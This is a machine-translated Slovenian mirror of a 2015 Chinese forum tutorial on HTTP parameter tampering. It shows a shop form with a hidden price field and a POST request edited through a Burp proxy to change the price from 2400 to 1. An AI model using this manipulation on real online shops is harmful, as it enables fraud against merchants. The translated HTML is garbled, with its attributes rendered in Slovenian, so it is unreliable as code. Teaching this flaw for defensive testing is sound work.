Ta članek je zrcalni članek strojnega prevajanja, kliknite tukaj za skok na izvirni članek.

Architect_Programmer_Code Kmetijska mreža»Arhitekt › Druge tehnologije › Varen napad in obramba › Penetracija vdorov: Uporaba HTTP glav
Pogled: 12586|Odgovoriti: 0

[Varnostni vodič] Penetracija vdorov: Uporaba HTTP glav

[Kopiraj povezavo]
Objavljeno na 7. 02. 2015 17:59:07 | | |

O uporabi HTTP glav

HTTP glava se pogosto uporablja v mehanizmu prenosa spletnih strani, vendar večina začetnikov na Kitajskem tega prispevka ni opazila; ta članek je namenjen le začetnikom, vlogi HTTP glave v procesu vdora.

Vzemimo za primer nakupovalno stran, da analiziramo majhen del vloge HTTP glav.

Najprej analizirajmo obrazec na strani za nakupovanje.

<form method="post" akcija="shop.php?id=1">

prodct: iphone 4s <br />

price:2400 <br />  <!--注意此行代码-->

Quantity: <input type="text" name="gouwu"> (Maximum gouwu is 50) <br />

<vhodni tip="hidden" ime="cena" vrednost="449">

<vrsta vhoda="oddaj" vrednost="Kupi">

</form>

Med postopkom odpiranja naredite posnetek zaslona njegove http glave sporočila in si ga oglejte

POST /shop/2/shop.php?id=1 HTTP/1.1
Host: shop.net
Content-Type: application/x-www/form-urlencoded
Content-Length: 20

količina=1&cena=2400

Čeprav polje s ceno ni prikazano na strani ob odpiranju nakupovalne strani, ga lahko uporabnik še vedno ureja in upravlja.

Obstajata dva načina za dosego montaže

1. Shranite izvorno kodo HTML za spremembo in jo nato ponovno naložite v brskalnik za zagon

2. Uporaba prestrezanja proxyja za spreminjanje HTTP glav (konstrukcija proxyja v orodju burp)

Vzemimo zgornjo HTTP glavo kot primer
Pred spremembo
POST /shop/2/shop.php?id=1 HTTP/1.1                  
Host: shop.net
Content-Type: application/x-www/form-urlencoded
Content-Length: 20

količina=1&cena=2400

Po spremembi
POST /shop/2/shop.php?id=1 HTTP/1.1
Host: shop.net
Content-Type: application/x-www/form-urlencoded
Content-Length: 20

količina=1&cena=1


V zadnji vrstici ima polje Cena vrednost 2400 in če jo spremenimo na 1, lahko iPhone 4S dobimo po cenejši ceni.

Ta članek ponuja le predstavo o nepričakovanih koristih, kot je vbrizgavanje LDAP.




Prejšnji:Metoda implementacije za obnovitev gesla za obnovitev gesla v MySQL
Naslednji:SQL injekcija za pridobitev celotne poti spletne strani

Sorodne objave
Disclaimer:
Vsa programska oprema, programski materiali ali članki, ki jih izdaja Code Farmer Network, so namenjeni zgolj učnim in raziskovalnim namenom; Zgornja vsebina ne sme biti uporabljena v komercialne ali nezakonite namene, sicer uporabniki nosijo vse posledice. Informacije na tej strani prihajajo z interneta, spori glede avtorskih pravic pa nimajo nobene zveze s to stranjo. Zgornjo vsebino morate popolnoma izbrisati z računalnika v 24 urah po prenosu. Če vam je program všeč, podprite pristno programsko opremo, kupite registracijo in pridobite boljše pristne storitve. Če pride do kakršne koli kršitve, nas prosimo kontaktirajte po elektronski pošti.
Mail To:help@itsvse.com